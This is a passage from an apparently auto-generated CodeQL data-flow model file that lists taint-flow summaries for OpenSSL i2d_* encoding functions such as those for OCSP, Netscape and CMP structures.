"i2d_NETSCAPE_CERT_SEQUENCE", "(const NETSCAPE_CERT_SEQUENCE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_NETSCAPE_CERT_SEQUENCE", "(const NETSCAPE_CERT_SEQUENCE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_CERT_SEQUENCE", "(const NETSCAPE_CERT_SEQUENCE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_CERT_SEQUENCE", "(const NETSCAPE_CERT_SEQUENCE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_ENCRYPTED_PKEY", "(const NETSCAPE_ENCRYPTED_PKEY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_NETSCAPE_ENCRYPTED_PKEY", "(const NETSCAPE_ENCRYPTED_PKEY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_ENCRYPTED_PKEY", "(const NETSCAPE_ENCRYPTED_PKEY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_ENCRYPTED_PKEY", "(const NETSCAPE_ENCRYPTED_PKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_PKEY", "(const NETSCAPE_PKEY *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_NETSCAPE_PKEY", "(const NETSCAPE_PKEY *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_PKEY", "(const NETSCAPE_PKEY *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_PKEY", "(const NETSCAPE_PKEY *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKAC", "(const NETSCAPE_SPKAC *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKAC", "(const NETSCAPE_SPKAC *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKAC", "(const NETSCAPE_SPKAC *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKAC", "(const NETSCAPE_SPKAC *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKI", "(const NETSCAPE_SPKI *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKI", "(const NETSCAPE_SPKI *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKI", "(const NETSCAPE_SPKI *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_NETSCAPE_SPKI", "(const NETSCAPE_SPKI *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NOTICEREF", "(const NOTICEREF *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_NOTICEREF", "(const NOTICEREF *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_NOTICEREF", "(const NOTICEREF *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_NOTICEREF", "(const NOTICEREF *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_BASICRESP", "(const OCSP_BASICRESP *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_BASICRESP", "(const OCSP_BASICRESP *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_BASICRESP", "(const OCSP_BASICRESP *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_BASICRESP", "(const OCSP_BASICRESP *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CERTID", "(const OCSP_CERTID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_CERTID", "(const OCSP_CERTID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CERTID", "(const OCSP_CERTID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CERTID", "(const OCSP_CERTID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CERTSTATUS", "(const OCSP_CERTSTATUS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_CERTSTATUS", "(const OCSP_CERTSTATUS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CERTSTATUS", "(const OCSP_CERTSTATUS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CERTSTATUS", "(const OCSP_CERTSTATUS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CRLID", "(const OCSP_CRLID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_CRLID", "(const OCSP_CRLID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CRLID", "(const OCSP_CRLID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_CRLID", "(const OCSP_CRLID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_ONEREQ", "(const OCSP_ONEREQ *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_ONEREQ", "(const OCSP_ONEREQ *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_ONEREQ", "(const OCSP_ONEREQ *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_ONEREQ", "(const OCSP_ONEREQ *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REQINFO", "(const OCSP_REQINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_REQINFO", "(const OCSP_REQINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REQINFO", "(const OCSP_REQINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REQINFO", "(const OCSP_REQINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REQUEST", "(const OCSP_REQUEST *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_REQUEST", "(const OCSP_REQUEST *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REQUEST", "(const OCSP_REQUEST *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REQUEST", "(const OCSP_REQUEST *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPBYTES", "(const OCSP_RESPBYTES *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_RESPBYTES", "(const OCSP_RESPBYTES *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPBYTES", "(const OCSP_RESPBYTES *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPBYTES", "(const OCSP_RESPBYTES *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPDATA", "(const OCSP_RESPDATA *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_RESPDATA", "(const OCSP_RESPDATA *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPDATA", "(const OCSP_RESPDATA *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPDATA", "(const OCSP_RESPDATA *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPID", "(const OCSP_RESPID *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_RESPID", "(const OCSP_RESPID *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPID", "(const OCSP_RESPID *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPID", "(const OCSP_RESPID *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPONSE", "(const OCSP_RESPONSE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_RESPONSE", "(const OCSP_RESPONSE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPONSE", "(const OCSP_RESPONSE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_RESPONSE", "(const OCSP_RESPONSE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REVOKEDINFO", "(const OCSP_REVOKEDINFO *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_REVOKEDINFO", "(const OCSP_REVOKEDINFO *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REVOKEDINFO", "(const OCSP_REVOKEDINFO *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_REVOKEDINFO", "(const OCSP_REVOKEDINFO *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SERVICELOC", "(const OCSP_SERVICELOC *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_SERVICELOC", "(const OCSP_SERVICELOC *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SERVICELOC", "(const OCSP_SERVICELOC *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SERVICELOC", "(const OCSP_SERVICELOC *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SIGNATURE", "(const OCSP_SIGNATURE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_SIGNATURE", "(const OCSP_SIGNATURE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SIGNATURE", "(const OCSP_SIGNATURE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SIGNATURE", "(const OCSP_SIGNATURE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SINGLERESP", "(const OCSP_SINGLERESP *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OCSP_SINGLERESP", "(const OCSP_SINGLERESP *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SINGLERESP", "(const OCSP_SINGLERESP *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OCSP_SINGLERESP", "(const OCSP_SINGLERESP *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_AA_DIST_POINT", "(const OSSL_AA_DIST_POINT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_AA_DIST_POINT", "(const OSSL_AA_DIST_POINT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_AA_DIST_POINT", "(const OSSL_AA_DIST_POINT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_AA_DIST_POINT", "(const OSSL_AA_DIST_POINT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(const OSSL_ALLOWED_ATTRIBUTES_CHOICE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(const OSSL_ALLOWED_ATTRIBUTES_CHOICE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(const OSSL_ALLOWED_ATTRIBUTES_CHOICE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_CHOICE", "(const OSSL_ALLOWED_ATTRIBUTES_CHOICE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(const OSSL_ALLOWED_ATTRIBUTES_ITEM *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(const OSSL_ALLOWED_ATTRIBUTES_ITEM *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(const OSSL_ALLOWED_ATTRIBUTES_ITEM *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_ITEM", "(const OSSL_ALLOWED_ATTRIBUTES_ITEM *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(const OSSL_ALLOWED_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(const OSSL_ALLOWED_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(const OSSL_ALLOWED_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ALLOWED_ATTRIBUTES_SYNTAX", "(const OSSL_ALLOWED_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATAV", "(const OSSL_ATAV *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ATAV", "(const OSSL_ATAV *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATAV", "(const OSSL_ATAV *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATAV", "(const OSSL_ATAV *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTES_SYNTAX", "(const OSSL_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTES_SYNTAX", "(const OSSL_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTES_SYNTAX", "(const OSSL_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTES_SYNTAX", "(const OSSL_ATTRIBUTES_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_DESCRIPTOR", "(const OSSL_ATTRIBUTE_DESCRIPTOR *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_DESCRIPTOR", "(const OSSL_ATTRIBUTE_DESCRIPTOR *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_DESCRIPTOR", "(const OSSL_ATTRIBUTE_DESCRIPTOR *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_DESCRIPTOR", "(const OSSL_ATTRIBUTE_DESCRIPTOR *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPING", "(const OSSL_ATTRIBUTE_MAPPING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPING", "(const OSSL_ATTRIBUTE_MAPPING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPING", "(const OSSL_ATTRIBUTE_MAPPING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPING", "(const OSSL_ATTRIBUTE_MAPPING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPINGS", "(const OSSL_ATTRIBUTE_MAPPINGS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPINGS", "(const OSSL_ATTRIBUTE_MAPPINGS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPINGS", "(const OSSL_ATTRIBUTE_MAPPINGS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_MAPPINGS", "(const OSSL_ATTRIBUTE_MAPPINGS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_TYPE_MAPPING", "(const OSSL_ATTRIBUTE_TYPE_MAPPING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_TYPE_MAPPING", "(const OSSL_ATTRIBUTE_TYPE_MAPPING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_TYPE_MAPPING", "(const OSSL_ATTRIBUTE_TYPE_MAPPING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_TYPE_MAPPING", "(const OSSL_ATTRIBUTE_TYPE_MAPPING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_VALUE_MAPPING", "(const OSSL_ATTRIBUTE_VALUE_MAPPING *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_VALUE_MAPPING", "(const OSSL_ATTRIBUTE_VALUE_MAPPING *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_VALUE_MAPPING", "(const OSSL_ATTRIBUTE_VALUE_MAPPING *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_ATTRIBUTE_VALUE_MAPPING", "(const OSSL_ATTRIBUTE_VALUE_MAPPING *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX", "(const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_BASIC_ATTR_CONSTRAINTS", "(const OSSL_BASIC_ATTR_CONSTRAINTS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_BASIC_ATTR_CONSTRAINTS", "(const OSSL_BASIC_ATTR_CONSTRAINTS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_BASIC_ATTR_CONSTRAINTS", "(const OSSL_BASIC_ATTR_CONSTRAINTS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_BASIC_ATTR_CONSTRAINTS", "(const OSSL_BASIC_ATTR_CONSTRAINTS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ATAVS", "(const OSSL_CMP_ATAVS *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_ATAVS", "(const OSSL_CMP_ATAVS *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ATAVS", "(const OSSL_CMP_ATAVS *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_ATAVS", "(const OSSL_CMP_ATAVS *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CAKEYUPDANNCONTENT", "(const OSSL_CMP_CAKEYUPDANNCONTENT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CAKEYUPDANNCONTENT", "(const OSSL_CMP_CAKEYUPDANNCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CAKEYUPDANNCONTENT", "(const OSSL_CMP_CAKEYUPDANNCONTENT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CAKEYUPDANNCONTENT", "(const OSSL_CMP_CAKEYUPDANNCONTENT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTIFIEDKEYPAIR", "(const OSSL_CMP_CERTIFIEDKEYPAIR *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTIFIEDKEYPAIR", "(const OSSL_CMP_CERTIFIEDKEYPAIR *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTIFIEDKEYPAIR", "(const OSSL_CMP_CERTIFIEDKEYPAIR *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTIFIEDKEYPAIR", "(const OSSL_CMP_CERTIFIEDKEYPAIR *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTORENCCERT", "(const OSSL_CMP_CERTORENCCERT *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTORENCCERT", "(const OSSL_CMP_CERTORENCCERT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTORENCCERT", "(const OSSL_CMP_CERTORENCCERT *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTORENCCERT", "(const OSSL_CMP_CERTORENCCERT *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREPMESSAGE", "(const OSSL_CMP_CERTREPMESSAGE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREPMESSAGE", "(const OSSL_CMP_CERTREPMESSAGE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREPMESSAGE", "(const OSSL_CMP_CERTREPMESSAGE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREPMESSAGE", "(const OSSL_CMP_CERTREPMESSAGE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREQTEMPLATE", "(const OSSL_CMP_CERTREQTEMPLATE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREQTEMPLATE", "(const OSSL_CMP_CERTREQTEMPLATE *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREQTEMPLATE", "(const OSSL_CMP_CERTREQTEMPLATE *,unsigned char **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTREQTEMPLATE", "(const OSSL_CMP_CERTREQTEMPLATE *,unsigned char **)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTRESPONSE", "(const OSSL_CMP_CERTRESPONSE *,unsigned char **)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "i2d_OSSL_CMP_CERTRESPONSE", "(const OSSL_CMP_CERTRESPONSE *,unsigned char **)", "", "Argument[*0]", 